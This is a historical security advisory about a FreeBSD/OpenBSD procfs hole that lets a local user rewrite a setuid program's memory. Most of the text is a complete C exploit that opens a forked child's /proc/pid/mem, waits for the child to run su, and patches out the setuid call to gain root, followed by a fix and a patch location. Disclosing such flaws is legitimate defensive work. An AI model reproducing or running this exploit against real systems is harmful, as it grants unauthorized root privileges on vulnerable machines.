COMMAND

    procfs

SYSTEMS AFFECTED

    FreeBSD 2.1.*, FreeBSD  2.2.*, FreeBSD-stable and  FreeBSD-current
    before 1997/08/12

PROBLEM

    Brian Mitchell  posted about  major hole  in procfs  under FreeBSD
    2.2.1  (2.1  is  not  affected,  3.x  is  not  tested  but  may be
    vulnerable as well) along with OpenBSD (2.1-RELEASE although  obsd
    doesnt mount procfs by default like freebsd does).

    The  problem  is  all  proc/#/mem  access  is  controlled  by  the
    permissions on the file. This means you can fork() open the childs
    mem device and  then have the  child execute a  setuid executable.
    Once this is done, you can modify the setuid executables memory  -
    even  segments  that  are  supposed  to  be  nonwritable  can   be
    modified.   Enclosed  is  a  simple  exploit  tested under FreeBSD
    2.2.1 - beware,  this exploit is  slow because it  searches memory
    for  a  specific  signature.  You  need  to change your shell to a
    borneish shell too, since csh/tcsh will not work when euid != ruid
    (unless passed a -b script argument).

    BSDI is also  believed to be  vulnerable. Unfortunately, not  only
    is  procfs  not  mounted,  it  is  not even in the GENERIC kernel.
    Exploit follows.

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <string.h>

    u_char search_code[13] = {
    0x8d, 0x05, 0x17, 0x00, 0x00, 0x00,           /* leal 0x17, %eax */
    0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00};    /* lcall 7,0 */

    /* just do a xor %eax, %eax and then a ret */
    u_char new_code[] = {
    0x31, 0xc0, 0xc3};

    main(int argc, char **argv)
    {
            int pid;
            int fd;
            char buff[40];
            char *user;

            /* might need to tweak these */
            u_int offset=0x8003000;
            u_int offset_end = 0x8099000;

            if(argc < 2)
            {
                    fprintf(stderr, "%s user\n", argv[0]);
                    exit(1);
            }
            printf("Demonstration of 4.4BSD procfs hole\n");
            printf("Brian Mitchell <brian@firehouse.net>\n\n");
            printf("after you see \"setuid changed\", enter the pw for the user\n");
            printf("\aBe warned, searching for the setuid() function takes a long time!\n");
            user=argv[1];
            pid = fork();
            switch(pid)
            {
                    case -1:
                            perror("fork");
                            exit(1);
                    case 0:
                            /* give parent time to open /proc/pid/mem */
                            sleep(3);
                            execl("/usr/bin/su", "su", user, NULL);
                            exit(0);
                    default:
                            sprintf(buff, "/proc/%d/mem", pid);
                            fd = open(buff, O_RDWR);
                            if(fd < 0)
                            {
                                    perror("open procmem");
                                    wait(NULL);
                                    exit(1);
                            }
                            /* wait for child to execute suid program */
                            sleep(6);
                            /* stop the child */
                            kill(pid, 17);
                            printf("searching - please be patient...\n");
                            /* search for the setuid code */
                            while(offset != offset_end)
                            {
                                    lseek(fd, offset, SEEK_SET);
                                    read(fd, buff, 13);
                                    if(!bcmp(buff, search_code, 13))
                                    {
                                            lseek(fd, offset, SEEK_SET);
                                            write(fd, new_code, 3);
                                            printf("setuid changed (0x%x)\n", offset);
                                            /* sigcont child */
                                            kill(pid, 19);
                                            wait(NULL);
                                            exit(0);
                                    }
                                    offset++;
                            }
                            printf("setuid not found!!\n");
                            kill(pid, 9);
                            wait(NULL);
                            exit(1);
            }
    }

SOLUTION

    Temporary fix: Disable the  /proc filesystem.  Setting  ro instead
    of rw in /etc/fstab or chmod'ing on the mountpoint do _not_  work.
    Best  solution  is  to  apply  one  of  the  following  patches in
    /usr/src/sys/miscfs/procfs, rebuild  your kernel,  install it  and
    reboot your system.  Those patches can be found on:

        ftp://freebsd.org/pub/CERT/patches/SA-97:04/